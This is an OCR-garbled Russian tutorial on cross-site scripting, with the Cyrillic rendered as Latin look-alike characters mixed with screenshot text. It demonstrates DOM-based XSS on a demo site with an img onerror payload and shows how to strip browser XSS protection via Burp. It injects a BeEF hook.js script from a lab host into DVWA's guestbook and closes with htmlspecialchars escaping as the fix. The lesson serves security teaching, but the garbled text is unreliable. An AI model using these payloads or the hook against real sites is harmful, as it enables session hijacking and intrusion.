¥ Fi —+ rPl‘ «cls

No element selected.

Haw cKpunT ycnewHo paboTaeT, U Mbl BUAUM BbIBOJ, BTOPOrO OKHa, C 3aMNuncblo
«Stored XSS 2».

7.0 UccnepoBaHue yassumoctu DOM Based XSS.

Moxem nepenTun K nocaegHemy Tuny yassmmoctm XSS, a umeHHo DOM Based XSS.
OH O4eHb NOXOK, HAa PACCMOTPEHHbIE HAMM paHee ABa TMNa yA3BumocTen: XSS
Reflected mn XSS Stored, 3a Tem oTAnumMem, 4To BCe NPOMCXOAMUT CO CTOPOHbI DOM
(8 camom bpaysepe). Kog, npu 31Ol yA3BMMOCTU, HE OTCbINIAaeTCA cepBepy U3
6pay3epa, B Kayectse HTTP-3anpoca (06bl4HbIM MexaHU3M). JTorMYeckn, MoxKem
cAaenaTtb BbIBOA, YTO cepBep He 06pabaTbiBaeT 3TOT 3aNpocC, He BeAeT
noruposaHme. MNAKC KO BCeMy, B C/ly4ae, eCNM Ha cepBepe CyLLLeCTBYET KaKasn-
NNB0 3aLLUnTa, TO Mbl MOXKEM 0601TU ee (onucan paHee).

ToHKoCTb yazBumoct DOM Based XSS B Tom, 4To Bbl He yBMAauMTE TO, KaK Baw Koz
CTaHOBMUTCA YaCTbiO UCXOLHOrO KoAa CTPaHULbI.



Korga s rotoBMA matepuasbl No AaHHOMY BOMPOCY, B CETU A0BO/IbHO-TaKM MHOTO
npumepos bbinn CBA3aHbI C O4HUM BeH-CaliTOM, KOTOPbIE HArNALHO NOKa3blBAOT
3Ty YA3BUMOCTb, U A PELLW/ BKIKOYUTb 3TOT PECYPC B ONMUCAHME.

[Ona panbHenwen paboTbl MHe NOHaA0bUTCA onepaunoHHas cuctema Kali Linux,
6pay3ep Mozilla u Burp Suite. na Hayana HyXHO CKOHHEKTUTb Burp c 6paysepom,
yTobbl NepexBaTbiBaTh TPaduK. B Bpaysepe Hy*KHO OTKPbITb Byprep B BEPXHEM
npasom yrny, ganee «Preferences», «General», «Network Proxy», «Settings»:

Preferences - Mozilla Firefox e ® 0

¥ Preferences x |+

':\(—/:'—) g © Firefox | about:preferences % | | Q Search N a0 =
£} Most Visited ] Offensive Security S KaliLinux "% KaliDocs "% Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums S NetHunter

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network

Use system proxy settings

® Manual proxy configuration

| HTTP Proxy 127.0.0.1|

Use this proxy server for all protocols
SSL Proxy
FTP Proxy
SOCKS Host
SOCKSv4 @ SOCKSw5
Automatic proxy configuration URL

Reload

No proxy for
localhost, 127.0.0.1

Help

MNepexoanm B BurpSuite, n Bbibupaem BkNagKy «Proxy», «Options», ganee
nponucbiBaem ip-agpec 1 NopT:



Burp Suite Community Edition v1.7.36 - Temporary Project e ® O
Burp Intruder Repeater Window Help
[ TargetlT Proxy TI Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Project opticns T User opticns T Alerts ]
[ Tzt ]' HTTP history ]' WebSockets history |T T— ]l
_ = A
() Proxy Listeners i
@ Burp Proxy uses listeners to receive incoming HTTP requests frem your browser. You will need te configure your browser to use one of the listeners as its proxy server.
Add Runni Interface [ Invisible | Redirect | certificate
& 127.0.0.1:8080 Per-host
Edit
|
Remove >
Each installation of Burp generates its own CA certificate that Proxy listeners can use when negetiating SSL connections. You can import or export this certificate for use in other tools or
another installation of Burp.
l Import | export CA certificate J l Regenerate CA certificate J
(2) Intercept Client Requests
@ Use these settings to contrel which requests are stalled for viewing and editing in the Intercept tab.
[ Intercept requests based on the following rules:
[ add | [Enabled  |oOperstor | Matchtype | Relstionship | condition
@ File extension Does not match (~gifs|~jpgs|~pngs| ~csss|~js5| ~icos)
Edit O or Reguest Contains parameters
O ar HTTP method Does not match (get|post)
Remove O And URL Iz in target scope » -
¥
-
Burp Suite Community Edition v1.7.36 - Temporary Project e ® O

Burp Intruder Repeater Window Help

[ Target .l Proxy iT Spider T Scanner T Intruder T Repeater I Seguencer T Decoder TCDmparer T Extender T Project opticns T User options I Alerts ]

“ Intercept i HTTP history T WebSockets history T Options ]

Forward Drop Action Coemment this item == EJ

Raw Headers Hex

e

=
v

L;JEJEJEJ Il—l 0 matches

[a, caiiT, KOTOpbIA Mbl ByAEM UCMNONb30BaTb, BLIMAAUT KakK: «https://xss-
doc.appspot.com/demo/3». Mepeiaem no 3Toi ccbiike B bpay3epe, N KaKk BUAUM,
[aHHble He nepexBaTbiBatOTCA:


https://xss-doc.appspot.com/demo/3
https://xss-doc.appspot.com/demo/3
https://xss-doc.appspot.com/demo/3

Morzilla Firefox 60 Burp Suite Community Edition v1.7.36 - Temporary Project
4 hitps://xss-doc.appspot.. X xss-doc.appspot.comfde X | +
Repeater | Sequencer | Decoder | Comparer | Extender | Projectoptions | Useroptions | Aleris
@ [P @& nitps:/ixss-doc.appspot.com/demo/3L | Q% » =
£ Most Visited [l Offensive Security %, Kali Linux %, KaliDocs %, Kali Tools % Exploit-DB »
Gallery of Electrical Engineering and Computer Science [intercestison | e e e =02
(GEECS) Raw  Headers  Hex
[ reges |
Image 1
. A o
I; el e
b =)
v
(2 < + > Type a search term 0 matches

M Koraa s nepeknoyarocb, Mexay M3o0bpaxKeHnsmMmn, Mbl MOXKEM BUAETb, YTO Ha
nepexeBaTymke Nycro.

BoT npumep c n3obparkeHnem «2»:

Mozilla Firefox 0 Burp Suite Community Edition v1.7.36 - Temporary Project
—‘m’ TR Burp Intruder Repeater Window Help
anner | intruder | Repeater
<« @ i & hitps://xss-doc.appspot.com/demo/352 - Q% » = e o e
£ Most Visited i Offensive Security “, Kali Linux % Kali Docs % Kali Tools & Exploit-DB » N, P ——
Gallery of Electrical Engineering and Computer Science Forviare 516}
(GEECS) e e
mage 2
v
2) (=) (=) (5] [vpeassarchtem 0 matches

CMbICAn B TOM, YTO KOA, 3anyLeHHbIX Ha 3TOM CTpaHuULe, He NoCblnaeT 3anpochl
cepBepy, TaK KaK BCe N3006parkeHUA yxKe 3arpy»KeHbl Ha cTpaHuue. Kaxabin pas,
Koraa Bbl KnMKaeTe no BKAaAKe, Bbl OTKpbiBaeTe HoBOe U306 parkeHne, KoTopoe
YKe 3arpy*KeHo Beb-cTpaHuuen. MepekntoyeHne mexagy n3obparkeHmamm
NPOUCXOANT C UCNONb30BaHNEM A3blKa NPOrpaMmMmnpoBaHunA JavaScript.
OcobeHHocTb yazeumoct DOM Based XSS B Tom, 4To OHM He paboTatoT B
coBpeMeHHbIx bpaysepax FireFox, notomy uto wnopytoT URL. Kakoi 661 Koa He
MCNONb30BaN, OH KoaupyeTca n coxpaHaetca B DOM-ob6bekTax, B bpaysepe.

[ina npumepa, A byay ncnonb3osaTb 6paysep Google Chrome, 1 3aBepluy npumep
ncnonb3osaHuem Internet Explorer. Mepeigem Ha caiiT: «https://xss-
doc.appspot.com/demo/3». Ham HY}KHO NPOCMOTPETb MCXOAHbIN KO, 3TOM
CTPaHULbI, B YaCTHOCTM KHOMKK «Image 1». HaBoaMm Kypcop Ha HEro 1 }XmMem
NpaByto KHOMKY MbIlK, BbIBpas «[1poOCMOTPeTb KOA, CTPaHULbI»:


https://xss-doc.appspot.com/demo/3
https://xss-doc.appspot.com/demo/3

x o - https://xss-doc.appspot.c x  +
<« C @ https://xss-doc.appspot.com/demo/3#1

Gallery of Electrical Engineering and Computer Science (GEECS)

(v ﬂ Elements Console Sources Network Performance Memory Application Security Audits

v<body id="dom-demo
div id="header"
Gallery of Electrical Engineering and Computer Science (GEECS)

/div
div class="tab active" id="tabl'] onclick="chooseTab('1l')"}Image l</div> == $0
div class="tab" id="tab2" onclicKk= chooselab( Z ) -1Image /div

div class="tab" id="tab3" onclick="chooseTab('3"')">Image 3</div
> id="tabContent">..</div
/body
/html
html body#dom-demo div#tabl.tab.active

B ntore, Koraa npomncxoauT cobbiTMe Ha Hallel KHOMKe, B Koae cpabaTbiBaeT
dyHKUma «chooseTab». Ecan Bbl BHUMaTE/IbHO NOCMOTPUTE Ha KoA, TO
0obHapyKuTe, 4To cywecTayeT Tpu GpyHKUMM «chooseTaby», HO ¢ pa3HbIMU
napameTpamu, TaKUMU KaK «(«1»), («2»), («3»)». DTo roBOPUT O TOM, KaKan
KHOMKa paboTaeT B AaHHbI MOMEHT, @ UX BCEro TPW.

Ob6paTnTe BHMMaHME eLle Ha TO, YTO NPM Nepexoae C OAHOM KHOMKM Ha Apyryto, B
none URL meHAeTcA napameTp:



x o - https://xss-doc.appspot.c X =+
< C =& httpS',"."xss-doc.appspot.comx‘dz-:»mzw,"3

Gallery of Electrical Engineering and Computer Science (GEECS)

Nccnepyem ganblue, n nonpobyem nocne cumeona «#», B ctpoke URL, nponucatb
4yTo-1Mb60 Apyroe, Hanpmumep cnoBo «Timcorex:



x o - https://xss-doc.appspot.c x  +

&« C & https://xss-doc.appspot.com/demo/3Timcore

Gallery of Electrical Engineering and Computer Science (GEECS)

|||;:|r_|'. =]

Image NaN

Y Hac HeT n306parkeHunn, Nnocne BHeAPEHUA NOCTOPOHHErO NapameTpa.

A BOT €C/11 Mbl NOCMOTPUM Ha UCXOAHbIN KOA, U HalAEeM Tam KOZ, KOTOPbIN
OTHOCUTCS K 3TOMY M306parKeHuto, To yBUAMM, YTO MAeT obpalueHme K
n3obparkeHuto, nog HasBaHMem «Timcore»:



8 https://xss-doc.appspot.com/demo/3#Timcore

Gallery of Electrical Englneerlng and Computer Science (GEECS)

div#tabContent 580 =202

| https://xss-doc.appspot.c x 4+
q

i

4 e3
Image NaN

[w ﬂ Elements Console Sources Network Performance Memory Application

html
» <head=..</head
v<=body id="dom-demo
div id="header
Gallery of Electrical Engineering and Computer Science (GEECS)
/div
div class="tab" id="tabl" onclick="chooseTab('l')">Image l</div> == 50
div class="tab" id="tab2" onclick="chooseTab('2')"=Image 2</div
div class="tab" id="tab3" onclick="chooseTab('3')"=Image 3</div
v<div id="tabContent
"Image NaN"
br
img src="/static/demos/GEECSTimcore. jpg
AULV
/body
_ /html

Ihtml body#dom-demo div#tabl.tab

3TO 3HAYUT, YTO MapaMeTpbl, KOTopble Mbl BBOAUM B cTPOKy URL, nepeaatorca B
KOZ, Ha CTpaHuLy.

Moxem moanpuULMpoBaTh 3Ty CTPOKY, C MOMOLLbIO Pa3HbIX SKCNOMUTOB, HO
PAaCcCMOTPUM AN NPUMEpPa OAMH U3 HUX. C ApYyrumu, B NPUHLUMNE aHAOTUA Ta Ke.
CMbICn 3KCNN0MTa ByaeT 3aKN04aTbCA B UCNONb30BaHMM Tera «img src». C
YKa3aHMEeM Ha He CYLLLeCTBYIOLWNI agpec, N AaNbHeWen MHbEKLUUM Koda Yepes
coobuieHune 06 ownbke. MHbIMM cNOBaMU, €CIN NPOUCXOAUT OWMOKa, Bbl moxeTe
BCTaBUTb CBOM KO, KOTOPbI XOTUTE 3anyCTUTb, M OH 3aMycKaeTcs, BBUAY TOro, YTO
YKa3aHa CCbl/IKa Ha HecyllecTsytollee n3obparkeHue.

[aBaiTe HaYHeM, U A5 Haya/la HanuLeM CCbIJIKY Ha HecylecTsyouee
n3obpaxeHune, KOTopoe byaeT uMmeTb BUA: «timcore.jpj», Aanee HYKHO 3aKPbITb



CTPOKY, C NOMOLLLbIO cMMBOAa «“». [lanee nuwem cobbiTe, KOTOpoe Npu ownbKe
BbIBOAUT OKHO: «onerror=alert(«xss»);>». B utore Haw koA 6yaeT MMeTb BUA,:
«timcore.jpj“ onerror=alert(«xss»);>». MocnegHWUin CUMBON O3HAYaeT
3aKpblBaloWMM Ter, KOTopbin byaeT cpabaTbiBaTb Npu OWMOKeE, N BbIBOAMUTD
BCN/bIBatOLLEE OKHO.

KoHeuHbit URL 6yaeT umetb Bua: https://xss-
doc.appspot.com/demo/3#timcore.jpg' onerror=alert("xss");>

XoTenocb 6bl OTMETUTb, YTO B COBPEMEHHbIX BepcuAx bpay3epoB, TaKMUX KaK
Mozilla, Google Chrome, Opera, Yandex, cywiecTsyeT 3aLmuTa OT 3TON YA3BMMOCTH
(cam Bce TectmupoBsan).

[ns peannsaumu, B TakKnx TMnax 6paysepos MOXKHO BOCNO/1b30BATbCA
MHCTPYMeHTOM BurpSuite, u CKOHHEKTUTb ero ¢ 6pay3epom. [lanee, nepenan Ha
BKNagKy «Proxy», «Options», n noctaBmB ranoydky Ha Disable browser XSS
protection:

Community Edition v1.7.36 - Tem

Burp Intruder Repeater Window Help

[Target Proxy | Spider I Scanner I Intruder I Repeater | Sequencer T Decoder T Comparer I Extender I Project options I User options IAIerts l

[ Intercept T HTTP history T WebSockets history I Options i

e S I S S

T

] Remove <object=> tags
] convert HTTPS links to HTTP
] Remove secure flag from cookies
|lJ Match and Replace
(& These settings are used to automatically replace parts of requests and responses passing through the Proxy.
| Add J Enabled | Item | Match | Replace | Type | Comment
- O Request header ~Referer.*s Regex Hide Referer header
Edit
|—IJ O Request header ~Accept-Encoding.*s Regex Require non-compressed responses
[ Remove 0O Response header ~Set-Cookie.*s Regex Ignore cookies
O Request header ~Host: foo.example.orgs Host: bar.example.org Regex Rewrite Host header
| up 0 Request header Origin: foo.example.org Literal Add spoofed CORS origin
L Basnonsa basdor Achrict Trancnortl it Baco B Hels haodar
| Down I (] Response header X-XS5-Protection: 0 Literal Disable browser X55 protection I

|_?J SSL Pass Through

o These settings are used to specify destination web servers for which Burp will directly pass through SSL connections. No details about requests or responses made via t
L] connections will be available in the Proxy intercept view or history.

| Add J Enabled | Host / IP range | Port

| Edit

| Remove »>
| Paste URL

| Load..
EAS 7 s

v

[Ona pemoHcTpaumn s nepenay B 6paysep Internet Explorer, Ha Windows 7 Home,
N YA3BMMOCTb DyaeT aKkTyasibHa:


https://xss-doc.appspot.com/demo/3#timcore.jpj' onerror=alert(
https://xss-doc.appspot.com/demo/3#timcore.jpj' onerror=alert(
https://xss-doc.appspot.com/demo/3#timcore.jpj' onerror=alert(
https://xss-doc.appspot.com/demo/3#timcore.jpj' onerror=alert(
https://xss-doc.appspot.com/demo/3#timcore.jpj' onerror=alert(
https://xss-doc.appspot.com/demo/3#timcore.jpj' onerror=alert(

dann MawwHa Bumo Beog Ycrpoictea Cnpabka

r

, =

@ https://xss-doc.appspot.com/demo/3 - Windows Internet Explorer

i '\JU | https://xss-doc.appspot.com/demo/3Etimcore » ﬂ ‘ B ‘f‘ A | |a;" Bing

{“f Mzbpannoe | ﬁ £ | Pexomengyemebie yanel * @ | Konnekuns seb-dparm.. -

https://xss-doc.appspot.com/demo/3

‘ﬁ‘ w7 * [ [;é.; » Crpanuya * bBesonacHocte »  Cepeuc v @v

Gallery of Electrical Engineering and Computer Science (GEECS)

CoobueHne ¢ BeG-cTpaHuLbl @

IT $ HSS

-

= -
€0 Vintepret | 3awmeHHenil peskun: sein, g -

4 M| 3arpyska nsobp:

16:38

uE;] @ﬂ ks e L‘ d S 30.05.2019

@ & = i §3 @ (&) Npasbiid Ctrl

K coxaneHuto, peaakTop Koaa Internet Explorer HacCTONbKO NPUMUTUBEH, YTO HE
MOXeT 0TobparkaTb M3MEHMBLUMIACA KOA,. BOT UTO nonyyaeTca, @ Ham Hy»KeH
AONONHUTENbHbIN Ter «div», BHYTPM KOTOPOTo COAEPMKUTCA BCE MHTEPECHOE, T. €.

M3ImMeHeHHOEe M306pa)-KEHVIe N Cam CKpUNT:




daiin Mawwna Bwup Beoa Ycrpoictea CnpaBka

[ %
€ https://xss-doc.appspot.com/demo/3 - Windows Internet Explorer [= [ =] ==
\ i) | https://xss-doc.appspot.com/demo/3#timcore = % ‘ b ‘ 4¢| X | | ;'; Bing P~
'ij\‘;‘ WzBpannoe {5 £ | Pexomengyemble yanel > @ | Konnekuwn seb-dparm..
https://xss-doc.appspot.com/demo/3 - Fl - = o= ~ Cipanmua v besonackocts ¥ Cepenc > (@)~
& | hitps://xss-doc.appspot.com/demo/3#timcorejpg’ onerror=alert("xss");> - MpocmoT... E\@ il
Ga"ery of ®aiin [Npaska Popmar
45 o
46 </script>
47
48 </head>
49 <body id="dom-demo">
50 <div id="header">
L | Gallery of Electrical Engineering and Computer Science
(GEECS)
52 </dive
&3
54 <div class="tabk" id="tabl" onclick="chooseTak('l')">Image
l<fdive
55 <div class="tabk" id="tabk2" onclick="chaooseTab('2")">Image
2</div>
Se <diwv class="tab" id="tab3" onclick="chooseTab({'3"')">Image
3</divy
57 =
58 <div i:l="tabl:cnﬂtent">a:b3p:<,’div>
53 A
60 | </html>
6l 7
4. OwwBka Ha cTpe @ MHTepHET | 3aLUMLLIEHHBIA PEXKUM: BEIK. f4 v ®100% ~

|._|:T_J aﬂ e G i Q B A ) m}gﬁm

o =F & = i §3 @ (B Npasbiii Ctrl

310 npumep DOM Based XSS ysasBumocTen.
8.0 be3sonacHoctb — UcnpaBnaem yassmmocTtu XSS.

PaccmoTpum BONPOC TOrO, KaK Mbl MOXKeM NpeaoTBpaTUTb ya3BMMoCTU XSS. Kak
TONbKO NONb30BaTE/lb BBOAUT UTO-IMOO Ha CTpaHMLE B TEKCTOBOE NOJIE UN
napameTp. ITOoT TeKcT nepesoantca B HTML. MHbIMK choBamu, OH CTAaHOBUTCA
YacCTbio CTPaHULbI, M €eCcnun ecTb Kog, JavaScript, To oH byaeT BbINONHATLCA.

Y106bI NPEAOTBPATUTL STOT IKCNNOMT, HYKHO NONPO60BaATL MUHUMU3IUPOBATD
MCNONb30BaHME NONEN BBOAA, U KaXKAbli pa3, Koraa YTo-TO BBOAUTCA Yepes
napameTpbl, HYXXHO MPOCTO MUHUMMU3UPOBATb. TaKKe HYXKHO 3aMeHATb TO, YTO
ncnonb3syetca Ha gaHHoW HTML- ctpaHuue. XSS morkeT 6bITb BHEAPEH HE TONbKO B
TeX MecTaXx, rae TeKCT BbIBOAUTCA Ha CTPaAHMLY, HO OH TaK»Ke MOXeT ObITb
nepeaaH NnapameTpom HeKoTopbIx asiemeHToB HTML-cTpaHuupl. Hy»KHO
KOHBEPTMPOBATb 3T CUMBO/bI, YTOObI M36erXKaTb BHEAPEHNE KOAA.



[laBainTe NONpaKTUKYEMCA U PAaCCMOTPMM HarAa4Hble NpMuMepbl 6@30NacHOCTY.
Mepengem Ha cTpaHMYKy Stored XSS, rae mbl yBUAWMM BCM/bIBAOLLME OKHA:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox 060
BeEF Control Panel X | = Damn Vulnerable Web /A X |+
(a - X @ ‘ ® 10.0.2.7/dvwa/vulnerabilities/xss_s/ oo Q‘ | Q Search ‘ m o =
—

#¥ Most Visited [ Offensive Security S KaliLinux “\ KaliDocs “\ Kali Tools % Exploit-DB W Aircrack-ng g Kali Forums "\ NetHunter '\ Kali Training @ Getting Started

Stored XSS

Waiting for 10.0.2.7...

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e 0
BeEF Control Panel X | » Damn Vulnerable Web ~ X |+
(6) - X ® ‘ ® 10.0.2.7/dvwa/vulnerabilities/xss_s/ oo 'ﬁ‘ ‘ Q Search IN @ =

£¥ Most Visited Jf Offensive Security '\ KaliLinux ' KaliDocs “\ Kali Tools  Exploit-DB Wy Aircrack-ng g Kali Forums "\ NetHunter '\ Kali Training @ Getting Started

Stored XSS 2

[_IPrevent this page from creating additional dialogs

Waiting for 10.0.2.7...

[anee Hy*KHO BbIOpPaTb 3aNMUCb B rOCTEBOM KHUMN. Y MeHA 3To «Timcorex:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XS5) - Mozilla Firefox e ® 0

BeEF Control Panel x ‘ [®] Damn Vulnerable Web /. x ‘ +

&« cC o @ 10.0.2.7/ vulnerabilities/xss_s/ B | » @ ¢ || Q search N @
£+ Most Visited [J|ll Offensive Security "\ KaliLinux "% Kali Docs i Kali Tools # Exploit-DB W Aircrack-ng i Kali Forums ', NetHunter S Kali Training @ Getting Started
‘Command Execution
CSRF | sign Guesthook |
File Inclusion
SQL Injection
SQL Injection (Blind) Name: test
Message: This is a test comment.
Upload
Name: alert("Stored XSS")
% Message: test
DVWA Security
Name:
e Message: test

Name:
Message: test

About
Logout
Name: Timcore
Message:
& L1 Inspector Console [ Debugger  {} StyleEditor (G Performance Rk Memory = Network [ Storage B Eeoe x
—+ Search HTML £ Rules  Computed Layout  Animations Fonts
Filter Styles + B s
element { inline &
> |
div#guestbook_comments { main.css:239
<h2>More info</h2> width: 45%;
<ul=(=)</ul> background-color: #fgfafa;
B . . . : . . border-width: b 1px;
html » body.home » divicontainer » divifmain_body » div.body_padded > divitguestbook_comments border-style: b solid; .

PaccmoTpum 6onee BHMMaTenbHee 3ToT Kog,. OTKkpoem Ter <div>, U yBuamMm none
«Name», n none «Message»:

[ | 3 Inspector } Console [ Debugger {} StyleEditor (& Performance {1k Memory = Network & Storage BEB®0oe x
—+ Search HTML 4 Rules  Computed Layout  Animations  Fonts
<div ld:"guestbook:(omments">w:w</div> “ FitterStytes + I.F"?r‘ A
<div id="guestbook comments">()</div> element { miiwe ~
v <div i uestbook comments"> }
div#guestbook comments { main.css:239
Message: width: 45%;
< ="http://10.0.2.7:3000/hook.js"></ background-color: #f8fafa;
<br> border-width: b 1px;
I OEYES border-style: b solid;
<div id="guestbook comments">(J</div> bordgrrcolor: #C0COCO;
<br> - padding: b 5px 10px 5px 10px;
<h2>More info</h2> ) margin-bottom: 5px;
<ul>=</ul>
</div= Inherited from divimain_body
<br> div#main_body { main.css:141
<Pr> v font-size: 13px;
html » body.home > divcontainer » divitmain_body » div.body_padded > divitguestbook_comments ! .
lebosiiod i :

CMbICN B TOM, YTO Ka*KAblW pas, NpU OTKPbITUKM 3TOM CTPaHMLbI, Ko JavaScript
BbINO/IHAETCS pPa3 32 Pa3oM.

K cnhoBy cka3aTb, napameTp «id», B Tere <div>, He oTobparkaeTca Ha CTPaHULE, HO
XaKepbl MOTYT NOMbITaTbCA MCMO/Ib30BaTh 3TU NAapPaMETPbI, a TaKXKe Apyruve Teru
(«<img», «srcy, «url»), ana nposeaeHUsA 3TOM aTaku.

Ham Hy»XHO ¢unbTpoBaThb, TO, YUTO BBOAAT NONb30BaTENN, B 3KBMBaNeHT HTML.
Ecnm B3AaTb HarnAaHbIM NpUMmep, C BHeAPEHHbIM CKPUMNTOM:



¥ Most Visited [JJll Offensive Security " KaliLinux S KaliDocs % KaliTools = Exploit-DB W Aircrack-ng gl Kali Forums S NetHunter “ KaliTraining & Getting Started

‘‘‘‘‘‘‘ e e
DVWA Security

Name:
PHP Info Message: test

ed » diviiguestbook_comments ’

html » body.home » divicontainer » divi#main_

B ntore mbl nony4ymMm gaHHbIN CKpUNT B none «Message» Ha cTpaHuue, 6e3
BO3MOKHOCTM BbINO/IHEHUS.

[aBaliTe A U3MEHI0 HAaCTPOMKK Be3onacHocTU Ha «high», «BbICOKMEY:

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox [ O]

BeEF Control Panel X | [@ Damn Vulnerable Web A X ‘+

Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox (- IO -]
BeEF Control Panel X | [® Damn Vulnerable Web /X ‘ aF
&« [ ® 10.0.2.7/dvwafvulnerabilities/xss_s/ B | = @ 7| Q Search N O =

About
Logout
Name: Timcore
Message:
More info
) -
[ | L3 Inspector | Console [ Debugger {} StyleEditor (g, Performance  {k Memory = Network [ Storage BEHB®Oe X
+ Search HTML & Rules Computed Layout Animations Fonts.
<div id="guestbook comments"s(=</div> - Filter Styles + B, s
<div id="guestbook comments">(-]</div> element { 11{119 @
w<div id="guestbook comments"=> N
Name: Timcore
<br> div#guestbook comments { main.css:239
Message: width: 45%;
< ="http://10.0.2.7:3000/hook.js" ] background-color: #fgfafa;
=br> border-width: b 1px;
</div> border-style: p solid;
<div id="guestbook comments">(-]</div> bo rdgrr(cﬂ.mr: #coceco;
<brs - padding: b 5px 10px 5px 10px;
<h2>More info</h2> , margin-bottom: 5px;
<ul==)</ul>
</div> Inherited from divimain_body
<br=> div#main_body { main.css:141
<br> o font-size: 13px;

&« c @ ® 10.0.2.7/dvwaj/security.php B | = @ || search In @0
£¥ Most Visited [l Offensive Security ™ KaliLinux S KaliDocs ', KaliTools = Exploit-DB Wy Aircrack-ng gl Kali Forums Sy, NetHunter “ Kali Training @& Getting Started

Home DVWA Security *
Instructions
Setup Script Security

Security Level is currently high.

Brute Force

You can set the security level to low, medium or high.
Command Execution

The security level changes the vulnerability level of DVWA.
CSRF |
File Inclusion | ‘ B H submit_|
SQL Injection
SQL Injection (Blind) PHPIDS
Upload

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications

XSS reflected

You can enable PHPIDS across this site for the duration of your session.
XSS stored

PHPIDS is currently disabled. [ ]

ovwa security [ It I
PHP Info

About
Security level set to high

Logout

Username: admin

Security Level: high

>

Morkem nepentn Ha cTpaHuuy «Reflected XSS», pasHuULbI HUKAKOW HET, M BBEAEM
HaLL CKPUNT, KOTOPbIA Mbl TECTUPOBA/IN YKe:



BeEF Control Panel

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox

I

c @

X | [ DamnVulnerable Web 2 X

+

(© 10.0.2.7/dvwa/vulnerabilities/xss_r/?name=<ScriPT>alert("X55")<%2FScRipt>#

e @ 1¥ || Q Search

¥ Most Visited [l Offensive Security “ Kali Linux “ KaliDocs “ KaliTools ® Exploit-DB Wy Aircrack-ng gl Kali Forums “ NetHunter “ KaliTraining & Getting Started

Home

Instructions

Setup

Brute Force

‘Command ‘

o)

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

\ Submit \

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin

I Hello <ScriPT=alert("Xss")</ScRipt> I

More info

View Source | View Help

[\ ]

Se:urin Level: high

Kak Buaum, BbIBOA NPOXOAMUT, Kak 0ObIYHbIN TEKCT, U HET UCMONHAEMOrO KOAa.

[aBaiiTe NOCMOTPUM Ha UCXOAHMKM 3TOM CTPAHULbI, Ha Hall CKPUAT:

BeEF Control Panel

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox

<« c @

£+ Most Visited [Jll Offensive Security " KaliLinux “ KaliDocs “ Kali Tools # Exploit-DB Wy Aircrack-ng g Kali Forums “s, NetHunter %, Kali Training @ Getting Started

x ‘ [®] Damn Vulnerable Web / X | +

® 10.0.2.7/dvwafvulnerabilities/xss_r/?name=<ScriPT>alert("XS5")<%2FScRipt>#

s @ | Q Search

Home VUInerapinty. eliiecieu Lruss oile SCIIpuUnyg (Aso)
Instructions
Setup What's your name?
Submit
Brute Force
8 |l |
CSRF
File Inclusi .
[Filemnalusion | pore info
@ {3 Inspector Console [ Debugger  {} StyleEditor (G Performance fk Memory = Network & Storage
+ Search HTML Va Rules Computed
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Strict//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml1- FitterStyles
strict.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml"> element {
= ]
< ®
<body class="home"> pre {
color: @ red;

<div id="container">

<div id="header"=(D</div=
<div id="main_menu">(-)</div>

<div id="main_body">

<div class="body_padded">

<hl>=</hl>
<div clas
orn

"vulnerable_code

<pre>Hello <ScriPT=alert

</div>

<h2>More info</h2>

html > body.ho

U

ne

divitcontainer

divitmain_

ed > div.vulnerable

yadd

2_area

n &

v

BEEHESO&S X

Layout

Inherited from div#main_body

div#main_body
font-size:

]

{
13px;

Inherited from div#container

div#container

fert—sizer—13pxs

v}

{

pre Inherited from body

Animations Fonts
—+ Fl?:] «cls
inline 2

main.css:257

main.css:141

main.css:118

Ha ﬂepBbIVI B3MAA4 KaxXeTcAa, 4HToO MHbEKUNA NMpoL/ia yCrneLwHo. Ha camom pene sce
He TaK, N Tern aKpaHNpyrTCA B crneunasaibHble CUMBO/1bI.

Bce, 6narogapsa ¢yHKummn «htmlspecialchars». MocmoTpmMm Ha UCXOAHWUKM, C
NMOMOLLLbIO KHOMKM «View sourse»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox - B

BeEF Control Panel X | [® DamnVulnerable Web A x | =+

<) Damn Vulnerable Web App (DVWA)v1.0.7 :: Source - Mozilla Firefox @ @ @ [HeU# R { Search - @o

E—_— 3 N (RS .
L+ Mo 0 MDEATE r A o e Fp S e ey =high -0 [—ng 1 Kali Forums S NetHunter ' Kali Training @& Getting Started

¢d Cross Site Scripting (XSS)
Reflected XSS Source

<?php
if(tarray_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == 'fE—

Sisempty = true; I

} else {

echo '<pre=';
echo 'Helle * .| htmlspecialchars($ GET['name']]);
echo '</pre="; I

}

7>

Compare

II!!&!!E&!E%!!‘EW =

Damn Vulnerable Web Application (DVWA) v1.0.7

3Ta PyHKUMA obpabaTbiBaeT Kaxkabli CUMBOJI, KOTOpPbI Bbl BBeaeTe. OHa TaKKe
coobuwaet 3t0 HTML, 1 6paysepy, 4TO U3SMEHUT UX HAa SKBUBANIEHTHbIE CUMBO/bI B
koge HTML.

Ha camom aene, He BaXKHO KaKylo MHbEKLMIO Bbl MbiTaeTech cAenath, Tak Kak
6yaeT NPoxXoAnTb NPOLLECC KOHBEPTALUMU.

Ecnun Bbl 06bI4HbIN NONb30BaTeNb, TO B AaHHOM cay4dae URL byaeT BbirnaaeTb, Kak
